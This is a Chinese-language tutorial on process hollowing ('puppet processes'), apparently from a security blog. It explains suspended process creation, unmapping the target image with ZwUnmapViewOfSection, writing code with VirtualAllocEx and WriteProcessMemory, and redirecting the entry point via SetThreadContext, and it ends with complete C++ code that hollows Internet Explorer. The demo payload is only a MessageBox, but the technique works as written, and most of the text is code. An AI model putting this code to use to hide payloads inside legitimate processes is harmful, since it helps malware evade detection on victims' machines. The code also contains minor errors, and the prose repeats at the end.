傀儡进程的分析与实现
字数 903 2025-08-24 23:51:25

傀儡进程的分析与实现技术详解

一、前言

傀儡进程是一种高级的进程隐藏技术,通过挂起目标进程并注入自定义代码来实现对合法进程的"劫持"。本文将详细解析傀儡进程的实现原理和具体技术细节。

二、基础知识

1. 挂起方式创建进程

关键点:

  • 进程创建后会在内存空间进行拉伸
  • 在程序运行前可以写入shellcode
  • 使用挂起模式创建进程后,可以在进程运行前操作其内存空间

2. CreateProcess函数详解

BOOL CreateProcess(
  LPCTSTR lpApplicationName,    // 应用程序名称
  LPTSTR lpCommandLine,         // 命令行字符串
  LPSECURITY_ATTRIBUTES lpProcessAttributes,  // 进程的安全属性
  LPSECURITY_ATTRIBUTES lpThreadAttributes,   // 线程的安全属性
  BOOL bInheritHandles,         // 是否继承父进程的属性
  DWORD dwCreationFlags,        // 创建标志
  LPVOID lpEnvironment,         // 指向新的环境块的指针
  LPCTSTR lpCurrentDirectory,   // 指向当前目录名的指针
  LPSTARTUPINFO lpStartupInfo,  // 传递给新进程的信息
  LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
);

关键参数:

  • dwCreationFlags: 设置为CREATE_SUSPENDED可以挂起创建进程
  • lpProcessAttributeslpThreadAttributes: 控制句柄继承的SECURITY_ATTRIBUTES结构

3. SECURITY_ATTRIBUTES结构

typedef struct _SECURITY_ATTRIBUTES {
  DWORD nLength;               // 结构体的大小
  LPVOID lpSecurityDescriptor; // 安全描述符
  BOOL bInheritHandle;         // 指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

三、挂起进程验证实验

1. 父进程代码

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[]) {
  char szBuffer[256] = {0};
  char szHandle[8] = {0};
  
  SECURITY_ATTRIBUTES ie_sa_p;
  ie_sa_p.nLength = sizeof(ie_sa_p);
  ie_sa_p.lpSecurityDescriptor = NULL;
  ie_sa_p.bInheritHandle = TRUE;
  
  SECURITY_ATTRIBUTES ie_sa_t;
  ie_sa_t.nLength = sizeof(ie_sa_t);
  ie_sa_t.lpSecurityDescriptor = NULL;
  ie_sa_t.bInheritHandle = TRUE;
  
  STARTUPINFO ie_si = {0};
  PROCESS_INFORMATION ie_pi;
  ie_si.cb = sizeof(ie_si);
  
  TCHAR szCmdline[] = TEXT("c://program files//internet explorer//iexplore.exe");
  CreateProcess(NULL, szCmdline, &ie_sa_p, &ie_sa_t, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &ie_si, &ie_pi);
  
  sprintf(szHandle, "%x %x", ie_pi.hProcess, ie_pi.hThread);
  sprintf(szBuffer, "C:/project/win32 create process4/Debug/win32 create process4.exe %s", szHandle);
  
  STARTUPINFO si = {0};
  PROCESS_INFORMATION pi;
  si.cb = sizeof(si);
  
  BOOL res = CreateProcess(NULL, szBuffer, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
  return 0;
}

2. 子进程代码

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[]) {
  DWORD dwProcessHandle = -1;
  DWORD dwThreadHandle = -1;
  char szBuffer[256] = {0};
  
  memcpy(szBuffer, argv[1], 8);
  sscanf(szBuffer, "%x", &dwProcessHandle);
  memset(szBuffer, 0, 256);
  memcpy(szBuffer, argv[2], 8);
  sscanf(szBuffer, "%x", &dwThreadHandle);
  
  printf("获取IE进程、主线程句柄\n");
  Sleep(5000);
  
  printf("挂起主线程\n");
  ::SuspendThread((HANDLE)dwThreadHandle);
  Sleep(5000);
  
  ::ResumeThread((HANDLE)dwThreadHandle);
  printf("恢复主线程\n");
  Sleep(5000);
  
  ::TerminateProcess((HANDLE)dwProcessHandle, 1);
  ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);
  printf("ID进程已经关闭.....\n");
  
  char szBuffer[256] = {0};
  GetCurrentDirectory(256, szBuffer);
  printf("%s\n", szBuffer);
  getchar();
  return 0;
}

3. 实验效果

  • 挂起主线程时,IE浏览器无法响应
  • 恢复主线程后,IE浏览器恢复正常运行

四、挂起模式启动进程

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[]) {
  STARTUPINFO ie_si = {0};
  PROCESS_INFORMATION ie_pi;
  ie_si.cb = sizeof(ie_si);
  
  TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";
  CreateProcess(NULL, szBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &ie_si, &ie_pi);
  
  ResumeThread(ie_pi.hThread);
  return 0;
}

效果:

  • 任务管理器显示进程已存在但无窗口
  • 调用ResumeThread后显示正常窗口

五、傀儡进程实现过程

1. 实现思路

  1. 以挂起形式创建目标进程
  2. 申请可读可写内存区域存放shellcode
  3. 恢复主线程并将入口点指向shellcode

2. 关键技术点

(1) ZwUnmapViewOfSection函数

NTSTATUS ZwUnmapViewOfSection(
  IN HANDLE ProcessHandle,
  IN PVOID BaseAddress
);

用于清空进程内存中的数据。

(2) 获取模块基址和大小

HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

(3) 获取线程上下文

CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);

(4) 获取远程进程映像基址

DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
  DWORD dwBaseAddr;
  ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
  return dwBaseAddr;
}

(5) 内存操作流程

  1. 卸载原有内存空间
    ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
    
  2. 重新申请内存空间
    VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
  3. 写入shellcode
    WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
    

(6) 修改入口点

Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);

六、完整实现代码

#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;

typedef long NTSTATUS;
typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN LPVOID BaseAddress);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

PROCESS_INFORMATION pi = {0};

BOOL CreateEXE() {
  wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
  STARTUPINFO si = {0};
  si.cb = sizeof(si);
  BOOL bRet;
  
  bRet = CreateProcessW(NULL, wszIePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  
  if(bRet) {
    printf("[*] Create process successfully!\n\n");
  } else {
    printf("[!] Create process failed\n\n");
  }
  return bRet;
}

DWORD GetCurModuleSize(DWORD dwModuleBase) {
  PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
  PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
  return pNtHdr->OptionalHeader.SizeOfImage;
}

DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
  DWORD dwBaseRet;
  ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
  return dwBaseRet;
}

void Mess() {
  MessageBoxA(0, "Inject successfully", "", 0);
}

DWORD GetNewOEP() {
  return (DWORD)Mess;
}

int _tmain(int argc, _TCHAR* argv[]) {
  ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
  printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
  
  if(!ZwUnmapViewOfSection) {
    printf("[!] ZwUnmapViewOfSection failed\n\n");
    exit(1);
  }
  
  if(!CreateEXE()) {
    printf("[!] Create Process failed\n\n");
    exit(1);
  }
  
  printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
  
  HMODULE hModuleBase = GetModuleHandleA(NULL);
  DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
  
  CONTEXT Thread;
  Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
  GetThreadContext(pi.hThread, &Thread);
  
  DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
  ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
  
  LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  
  if(lpAllocAddr) {
    printf("[*] VirtualAllocEx successfully!\n\n");
  } else {
    printf("[!] VirtualAllocEx failed\n\n");
    return FALSE;
  }
  
  if(NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL)) {
    printf("[!] WriteProcessMemory failed\n\n");
    return FALSE;
  } else {
    printf("[*] WriteProcessMemory successfully!\n\n");
  }
  
  Thread.ContextFlags = CONTEXT_FULL;
  Thread.Eip = GetNewOEP();
  SetThreadContext(pi.hThread, &Thread);
  
  if(-1 == ResumeThread(pi.hThread)) {
    printf("[!] ResumeThread failed\n\n");
    return FALSE;
  } else {
    printf("[*] ResumeThread successfully!\n\n");
  }
}

七、实现效果

成功执行后会弹出MessageBox,证明傀儡进程创建成功。

八、总结

傀儡进程技术要点:

  1. 使用CREATE_SUSPENDED标志创建挂起进程
  2. 获取并修改线程上下文
  3. 使用ZwUnmapViewOfSection清理原有内存
  4. 重新分配内存并写入shellcode
  5. 修改入口点并恢复线程执行

该技术可以用于合法渗透测试,但也可被恶意软件利用,使用时需遵守相关法律法规。

傀儡进程的分析与实现技术详解 一、前言 傀儡进程是一种高级的进程隐藏技术,通过挂起目标进程并注入自定义代码来实现对合法进程的"劫持"。本文将详细解析傀儡进程的实现原理和具体技术细节。 二、基础知识 1. 挂起方式创建进程 关键点: 进程创建后会在内存空间进行拉伸 在程序运行前可以写入shellcode 使用挂起模式创建进程后,可以在进程运行前操作其内存空间 2. CreateProcess函数详解 关键参数: dwCreationFlags : 设置为 CREATE_SUSPENDED 可以挂起创建进程 lpProcessAttributes 和 lpThreadAttributes : 控制句柄继承的 SECURITY_ATTRIBUTES 结构 3. SECURITY_ ATTRIBUTES结构 三、挂起进程验证实验 1. 父进程代码 2. 子进程代码 3. 实验效果 挂起主线程时,IE浏览器无法响应 恢复主线程后,IE浏览器恢复正常运行 四、挂起模式启动进程 效果: 任务管理器显示进程已存在但无窗口 调用ResumeThread后显示正常窗口 五、傀儡进程实现过程 1. 实现思路 以挂起形式创建目标进程 申请可读可写内存区域存放shellcode 恢复主线程并将入口点指向shellcode 2. 关键技术点 (1) ZwUnmapViewOfSection函数 用于清空进程内存中的数据。 (2) 获取模块基址和大小 (3) 获取线程上下文 (4) 获取远程进程映像基址 (5) 内存操作流程 卸载原有内存空间 重新申请内存空间 写入shellcode (6) 修改入口点 六、完整实现代码 七、实现效果 成功执行后会弹出MessageBox,证明傀儡进程创建成功。 八、总结 傀儡进程技术要点: 使用 CREATE_SUSPENDED 标志创建挂起进程 获取并修改线程上下文 使用 ZwUnmapViewOfSection 清理原有内存 重新分配内存并写入shellcode 修改入口点并恢复线程执行 该技术可以用于合法渗透测试,但也可被恶意软件利用,使用时需遵守相关法律法规。